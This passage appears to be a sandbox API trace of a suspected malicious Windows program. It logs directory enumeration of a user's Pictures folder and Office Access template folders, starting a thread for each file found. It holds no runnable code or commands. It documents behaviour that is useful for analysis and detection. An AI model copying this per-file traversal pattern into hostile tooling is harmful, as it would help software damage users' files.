HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\UHSng88Olz734Rh3qI.gif" [0147.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97b498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14bc [0147.917] FindNextFileW (in: hFindFile=0x942c30, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b916730, ftCreationTime.dwHighDateTime=0x1d4c808, ftLastAccessTime.dwLowDateTime=0x9d352b30, ftLastAccessTime.dwHighDateTime=0x1d4c860, ftLastWriteTime.dwLowDateTime=0x9d352b30, ftLastWriteTime.dwHighDateTime=0x1d4c860, nFileSizeHigh=0x0, nFileSizeLow=0xd2ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="UUdgVMvUkx2f4aTPMW.png", cAlternateFileName="UUDGVM~1.PNG")) returned 1 [0147.917] wcscmp (_String1="UUdgVMvUkx2f4aTPMW.png", _String2=".") returned 1 [0147.917] wcscmp (_String1="UUdgVMvUkx2f4aTPMW.png", _String2="..") returned 1 [0147.917] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa2) returned 0x97b338 [0147.917] wcscpy (in: _Dest=0x97b338, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0147.917] wcscat (in: _Dest=0x97b338, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0147.917] wcscat (in: _Dest=0x97b338, _Source="UUdgVMvUkx2f4aTPMW.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\UUdgVMvUkx2f4aTPMW.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\UUdgVMvUkx2f4aTPMW.png" [0147.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97b338, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c0 [0147.918] FindNextFileW (in: hFindFile=0x942c30, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387b3a30, ftCreationTime.dwHighDateTime=0x1d4c8b6, ftLastAccessTime.dwLowDateTime=0x21214610, ftLastAccessTime.dwHighDateTime=0x1d4cae4, ftLastWriteTime.dwLowDateTime=0x21214610, ftLastWriteTime.dwHighDateTime=0x1d4cae4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xYqbUF_dVNpsqp W5rm", cAlternateFileName="XYQBUF~1")) returned 1 [0147.918] wcscmp (_String1="xYqbUF_dVNpsqp W5rm", _String2=".") returned 1 [0147.918] wcscmp (_String1="xYqbUF_dVNpsqp W5rm", _String2="..") returned 1 [0147.918] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9c) returned 0x935ca0 [0147.918] wcscpy (in: _Dest=0x935ca0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0147.918] wcscat (in: _Dest=0x935ca0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0147.918] wcscat (in: _Dest=0x935ca0, _Source="xYqbUF_dVNpsqp W5rm" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\xYqbUF_dVNpsqp W5rm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\xYqbUF_dVNpsqp W5rm" [0147.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x935ca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c4 [0147.919] FindNextFileW (in: hFindFile=0x942c30, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde69beb0, ftCreationTime.dwHighDateTime=0x1d4cbdd, ftLastAccessTime.dwLowDateTime=0xf8bd7ed0, ftLastAccessTime.dwHighDateTime=0x1d4c662, ftLastWriteTime.dwLowDateTime=0xf8bd7ed0, ftLastWriteTime.dwHighDateTime=0x1d4c662, nFileSizeHigh=0x0, nFileSizeLow=0x13a64, dwReserved0=0x0, dwReserved1=0x0, cFileName="zPEQu17sbXBi4.jpg", cAlternateFileName="ZPEQU1~1.JPG")) returned 1 [0147.919] wcscmp (_String1="zPEQu17sbXBi4.jpg", _String2=".") returned 1 [0147.919] wcscmp (_String1="zPEQu17sbXBi4.jpg", _String2="..") returned 1 [0147.919] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x98) returned 0x9acee8 [0147.919] wcscpy (in: _Dest=0x9acee8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0147.919] wcscat (in: _Dest=0x9acee8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0147.919] wcscat (in: _Dest=0x9acee8, _Source="zPEQu17sbXBi4.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\zPEQu17sbXBi4.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\zPEQu17sbXBi4.jpg" [0147.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9acee8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c8 [0147.920] FindNextFileW (in: hFindFile=0x942c30, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957dfe30, ftCreationTime.dwHighDateTime=0x1d4d300, ftLastAccessTime.dwLowDateTime=0x3e7e1070, ftLastAccessTime.dwHighDateTime=0x1d4ce7d, ftLastWriteTime.dwLowDateTime=0x3e7e1070, ftLastWriteTime.dwHighDateTime=0x1d4ce7d, nFileSizeHigh=0x0, nFileSizeLow=0x970d, dwReserved0=0x0, dwReserved1=0x0, cFileName="zvPX7yEuYQYgbV.gif", cAlternateFileName="ZVPX7Y~1.GIF")) returned 1 [0147.920] wcscmp (_String1="zvPX7yEuYQYgbV.gif", _String2=".") returned 1 [0147.920] wcscmp (_String1="zvPX7yEuYQYgbV.gif", _String2="..") returned 1 [0147.921] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x935fe8 [0147.921] wcscpy (in: _Dest=0x935fe8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0147.921] wcscat (in: _Dest=0x935fe8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0147.921] wcscat (in: _Dest=0x935fe8, _Source="zvPX7yEuYQYgbV.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\zvPX7yEuYQYgbV.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\zvPX7yEuYQYgbV.gif" [0147.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935fe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14cc [0147.922] FindNextFileW (in: hFindFile=0x942c30, lpFindFileData=0x9bd928 | out: lpFindFileData=0x9bd928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957dfe30, ftCreationTime.dwHighDateTime=0x1d4d300, ftLastAccessTime.dwLowDateTime=0x3e7e1070, ftLastAccessTime.dwHighDateTime=0x1d4ce7d, ftLastWriteTime.dwLowDateTime=0x3e7e1070, ftLastWriteTime.dwHighDateTime=0x1d4ce7d, nFileSizeHigh=0x0, nFileSizeLow=0x970d, dwReserved0=0x0, dwReserved1=0x0, cFileName="zvPX7yEuYQYgbV.gif", cAlternateFileName="ZVPX7Y~1.GIF")) returned 0 [0147.922] FindClose (in: hFindFile=0x942c30 | out: hFindFile=0x942c30) returned 1 [0147.923] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bd928) returned 1 [0147.923] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99db08) returned 1 [0147.923] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99de88) returned 1 Thread: id = 2226 os_tid = 0xf50 [0143.597] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x99e408 [0143.597] wcscpy (in: _Dest=0x99e408, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0143.597] wcscat (in: _Dest=0x99e408, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0143.597] wcscat (in: _Dest=0x99e408, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*" [0143.597] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9bdb90 [0143.597] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*", lpFindFileData=0x9bdb90 | out: lpFindFileData=0x9bdb90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942c70 [0143.973] wcscmp (_String1=".", _String2=".") returned 0 [0143.973] FindNextFileW (in: hFindFile=0x942c70, lpFindFileData=0x9bdb90 | out: lpFindFileData=0x9bdb90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.977] wcscmp (_String1="..", _String2=".") returned 1 [0143.977] wcscmp (_String1="..", _String2="..") returned 0 [0143.977] FindNextFileW (in: hFindFile=0x942c70, lpFindFileData=0x9bdb90 | out: lpFindFileData=0x9bdb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2355ff00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2355ff00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xfd04e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets.accdt", cAlternateFileName="ASSETS~1.ACC")) returned 1 [0143.977] wcscmp (_String1="Assets.accdt", _String2=".") returned 1 [0143.977] wcscmp (_String1="Assets.accdt", _String2="..") returned 1 [0143.977] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x9ab4c0 [0143.977] wcscpy (in: _Dest=0x9ab4c0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0143.977] wcscat (in: _Dest=0x9ab4c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0143.977] wcscat (in: _Dest=0x9ab4c0, _Source="Assets.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt" [0145.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ab4c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc18 [0145.737] FindNextFileW (in: hFindFile=0x942c70, lpFindFileData=0x9bdb90 | out: lpFindFileData=0x9bdb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50a2ad00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f0a970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50a2ad00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1af3fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Charitable Contributions.accdt", cAlternateFileName="CHARIT~1.ACC")) returned 1 [0145.737] wcscmp (_String1="Charitable Contributions.accdt", _String2=".") returned 1 [0145.737] wcscmp (_String1="Charitable Contributions.accdt", _String2="..") returned 1 [0145.737] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xae) returned 0x8f40a0 [0145.737] wcscpy (in: _Dest=0x8f40a0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0145.737] wcscat (in: _Dest=0x8f40a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0145.737] wcscat (in: _Dest=0x8f40a0, _Source="Charitable Contributions.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt" [0145.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f40a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa4 [0145.738] FindNextFileW (in: hFindFile=0x942c70, lpFindFileData=0x9bdb90 | out: lpFindFileData=0x9bdb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c0db800, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c0db800, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xd45ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contacts.accdt", cAlternateFileName="CONTAC~1.ACC")) returned 1 [0145.738] wcscmp (_String1="Contacts.accdt", _String2=".") returned 1 [0145.738] wcscmp (_String1="Contacts.accdt", _String2="..") returned 1 [0145.738] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x9ac7c0 [0145.739] wcscpy (in: _Dest=0x9ac7c0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0145.739] wcscat (in: _Dest=0x9ac7c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0145.739] wcscat (in: _Dest=0x9ac7c0, _Source="Contacts.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Contacts.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Contacts.accdt" [0145.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ac7c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa8 [0145.740] FindNextFileW (in: hFindFile=0x942c70, lpFindFileData=0x9bdb90 | out: lpFindFileData=0x9bdb90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataType", cAlternateFileName="")) returned 1 [0145.740] wcscmp (_String1="DataType", _String2=".") returned 1 [0145.740] wcscmp (_String1="DataType", _String2="..") returned 1 [0145.740] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7958 [0145.740] wcscpy (in: _Dest=0x8e7958, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0145.740] wcscat (in: _Dest=0x8e7958, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0145.740] wcscat (in: _Dest=0x8e7958, _Source="DataType" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" [0145.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e7958, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfac [0145.741] FindNextFileW (in: hFindFile=0x942c70, lpFindFileData=0x9bdb90 | out: lpFindFileData=0x9bdb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcad4b00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcad4b00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x2f2af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events.accdt", cAlternateFileName="EVENTS~1.ACC")) returned 1 [0145.741] wcscmp (_String1="Events.accdt", _String2=".") returned 1 [0145.741] wcscmp (_String1="Events.accdt", _String2="..") returned 1 [0145.741] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x9ac728 [0145.741] wcscpy (in: _Dest=0x9ac728, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0145.741] wcscat (in: _Dest=0x9ac728, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0145.741] wcscat (in: _Dest=0x9ac728, _Source="Events.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Events.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Events.accdt" [0145.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ac728, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfb0 [0145.743] FindNextFileW (in: hFindFile=0x942c70, lpFindFileData=0x9bdb90 | out: lpFindFileData=0x9bdb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdedfe600, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdedfe600, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x7490b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faculty.accdt", cAlternateFileName="FACULT~1.ACC")) returned 1 [0145.743] wcscmp (_String1="Faculty.accdt", _String2=".") returned 1 [0145.743] wcscmp (_String1="Faculty.accdt", _String2="..") returned 1 [0145.743] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x9ac690 [0145.743] wcscpy (in: _Dest=0x9ac690, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0145.743] wcscat (in: _Dest=0x9ac690, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0145.743] wcscat (in: _Dest=0x9ac690, _Source="Faculty.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Faculty.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Faculty.accdt" [0145.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ac690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfb4 [0145.744] FindNextFileW (in: hFindFile=0x942c70, lpFindFileData=0x9bdb90 | out: lpFindFileData=0x9bdb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85166900, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f7cd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85166900, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x80f48, dwReserved0=0x0, dwReserved1=0x0, cFileName="Issues.accdt", cAlternateFileName="ISSUES~1.ACC")) returned 1 [0145.744] wcscmp (_String1="Issues.accdt", _String2=".") returned 1 [0145.744] wcscmp (_String1="Issues.accdt", _String2="..") returned 1 [0145.744] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x9ac5f8 [0145.744] wcscpy (in: _Dest=0x9ac5f8, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0145.744] wcscat (in: _Dest=0x9ac5f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0145.744] wcscat (in: _Dest=0x9ac5f8, _Source="Issues.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Issues.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Issues.accdt" [0145.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ac5f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfb8 [0145.745] FindNextFileW (in: hFindFile=0x942c70, lpFindFileData=0x9bdb90 | out: lpFindFileData=0x9bdb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb7c1e00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f7cd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb7c1e00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x10e5ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Marketing Projects.accdt", cAlternateFileName="MARKET~1.ACC")) returned 1 [0145.745] wcscmp (_String1="Marketing Projects.accdt", _String2=".") returned 1 [0145.745] wcscmp (_String1="Marketing Projects.accdt", _String2="..") returned 1 [0145.745] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa2) returned 0x97ad08 [0145.745] wcscpy (in: _Dest=0x97ad08, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0145.745] wcscat (in: _Dest=0x97ad08, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0145.746] wcscat (in: _Dest=0x97ad08, _Source="Marketing Projects.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Marketing Projects.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Marketing Projects.accdt" [0145.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ad08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfbc [0145.747] FindNextFileW (in: hFindFile=0x942c70, lpFindFileData=0x9bdb90 | out: lpFindFileData=0x9bdb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6138700, ftCreationTime.dwHighDateTime=0x1c6ea89, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6138700, ftLastWriteTime.dwHighDateTime=0x1c6ea89, nFileSizeHigh=0x0, nFileSizeLow=0x1f5a52, dwReserved0=0x0, dwReserved1=0x0, cFileName="Northwind.accdt", cAlternateFileName="NORTHW~1.ACC")) returned 1 [0145.747] wcscmp (_String1="Northwind.accdt", _String2=".") returned 1 [0145.747] wcscmp (_String1="Northwind.accdt", _String2="..") returned 1 [0145.747] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x90) returned 0x9ac560 [0145.747] wcscpy (in: _Dest=0x9ac560, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0145.747] wcscat (in: _Dest=0x9ac560, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0145.747] wcscat (in: _Dest=0x9ac560, _Source="Northwind.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt" [0145.747] CreateThread 